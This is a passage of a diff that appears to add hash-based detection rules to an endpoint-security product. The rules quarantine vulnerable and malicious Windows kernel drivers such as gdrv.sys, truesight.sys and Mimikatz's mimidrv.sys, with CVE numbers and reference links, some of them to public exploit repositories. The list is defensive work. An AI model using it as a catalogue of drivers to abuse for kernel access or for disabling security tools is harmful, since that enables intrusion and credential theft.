+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610934Z",
+  "creation_date": "2026-03-23T11:45:29.610936Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610948Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b5aecfecf26145aadd23f96a1cdfae0bca4e53af215d4bd77bba5dcc5a4479b",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a04c6128-0e7c-5459-ba1e-4a51909d4304",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616739Z",
+  "creation_date": "2026-03-23T11:45:29.616741Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616746Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b4cbd2bc16071a1868597ec86857dba1140f981e3e943b0857341daffff4e69",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a057a680-14a8-5655-9041-638f08c63463",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831180Z",
+  "creation_date": "2026-03-23T11:45:30.831182Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831188Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14dd5543656d683dd6eaef643ac0e3b4e1eb1348db18d6109a6b1b75fe1dbc13",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a062e544-41ef-5a13-90ba-b767b319f5cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832334Z",
+  "creation_date": "2026-03-23T11:45:30.832336Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832341Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1fb086cf89933281486efa575a9412e496c99dbe1106ea6c48b077be389f92e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a06de8ad-5f20-5428-b205-e3f0e17f7b44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143528Z",
+  "creation_date": "2026-03-23T11:45:31.143530Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143535Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc608516ecc4d8a265b066bd2f1a0178e4f2ab01dabec1e516b5840591c24965",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a07b3901-ca6b-53d1-afd4-65a39ecf83e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970483Z",
+  "creation_date": "2026-03-23T11:45:29.970487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970495Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "627e13da6a45006fff4711b14754f9ccfac9a5854d275da798a22f3a68dd1eaa",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0828a38-d583-599b-b9ac-3d5579cec9c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616168Z",
+  "creation_date": "2026-03-23T11:45:29.616170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616175Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad6360cee0b1b293be38348f0f9deb7221e205516524f437aaf8f468b308cb4e",
+  "comment": "Phoenix Tech. vulnerable BIOS update tool (aka PhlashNT.sys and WinFlash64.sys) [https://www.loldrivers.io/drivers/be3e49ea-095e-4fdb-9529-f4c2dbb9a9fc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0878cc9-d25b-5a4b-8104-7f8513246133",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824459Z",
+  "creation_date": "2026-03-23T11:45:30.824463Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824472Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ddd03e6455d92c7ef357f2834d70593ce65730306338a574416d9b439e2c3f0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0950a8e-9b78-5b8b-9367-a9a8a8a86e4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985850Z",
+  "creation_date": "2026-03-23T11:45:29.985852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87565ff08a93a8ff41ea932bf55dec8e0c7e79aba036507ea45df9d81cb36105",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0a72fcb-873d-543f-ba98-7723f274ca7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811746Z",
+  "creation_date": "2026-03-23T11:45:31.811748Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811754Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50f6c853251603e51534830d1d5faeb98ba638eafdb8d3cc4c49d56e28724325",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0a81360-2cbb-5274-9d86-677ae3f95e89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605448Z",
+  "creation_date": "2026-03-23T11:45:29.605450Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6827cd3a8f273a66ecc33bb915df6c7dea5cc1b8134b0c348303ef50db33476",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0aa932b-78f9-580e-aa70-ca48c23f1b05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609021Z",
+  "creation_date": "2026-03-23T11:45:29.609023Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609029Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ce40a2cdd3f45c7632b858e8089ddfdd12d9acb286f2015a4b1b0c0346a572c",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0aec560-9bf9-5287-adb7-0319837d9216",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463069Z",
+  "creation_date": "2026-03-23T11:45:30.463073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463081Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21617210249d2a35016e8ca6bd7a1edda25a12702a2294d56010ee8148637f5a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0b5f422-34a6-5344-b3d5-9fa1fd109a5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483468Z",
+  "creation_date": "2026-03-23T11:45:31.483472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9866199215604d3739dd8e240b802424f9da097ead62d424c5af3cac21597ead",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0be8b1b-7b35-5818-b139-3e6b94ca5dad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608951Z",
+  "creation_date": "2026-03-23T11:45:29.608953Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608958Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff6729518a380bf57f1bc6f1ec0aa7f3012e1618b8d9b0f31a61d299ee2b4339",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0c0be80-3402-5d00-b21f-90a4b55ac2bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825193Z",
+  "creation_date": "2026-03-23T11:45:31.825196Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825204Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d66bc8d2614a775eabcf0a9c51bcde2f9037dafe20f0155eec87abecd8eeccab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0c66ed2-d510-57ed-8269-ab9fb2dd21ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489802Z",
+  "creation_date": "2026-03-23T11:45:31.489805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489813Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6278724ed1c5287475fbd8888527160af10c3d83b610f0b058c1701f5aeda069",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0e315b9-561a-5e15-bf8a-dd97ac97a4e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606759Z",
+  "creation_date": "2026-03-23T11:45:29.606761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606767Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2028156ea5a202f5fa9462646f3bffa0c01ac9c2e5cf6fa4df55bf38a47ac8da",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0e47ec1-a3e1-554a-a440-e717cdcf2c51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464815Z",
+  "creation_date": "2026-03-23T11:45:30.464818Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464826Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7bccc6f38403def4690e00a0b31eda05973d82be8953a3379e331658c51b231",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0ead3fd-f628-5dce-9166-fbdc39f4e016",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975078Z",
+  "creation_date": "2026-03-23T11:45:29.975080Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77955af8a8bcea8998f4046c2f8534f6fb1959c71de049ca2f4298ba47d8f23a",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0eea5ac-8281-5f75-9b04-fdf362b87d08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155223Z",
+  "creation_date": "2026-03-23T11:45:31.155225Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155231Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c8f95af644c5377d68503cee0ac723150e22bfb5717921fe9998bc0fd6de479",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0eec88d-5c71-5911-9518-68ccd55c3699",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827712Z",
+  "creation_date": "2026-03-23T11:45:31.827714Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827720Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e42b99a85e42eb6785ae7c45ab7f4104bc729498bb224124b3e45676ce2da08",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a0fcece0-44fb-58c4-add7-1d6a503cebc1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611659Z",
+  "creation_date": "2026-03-23T11:45:29.611661Z",
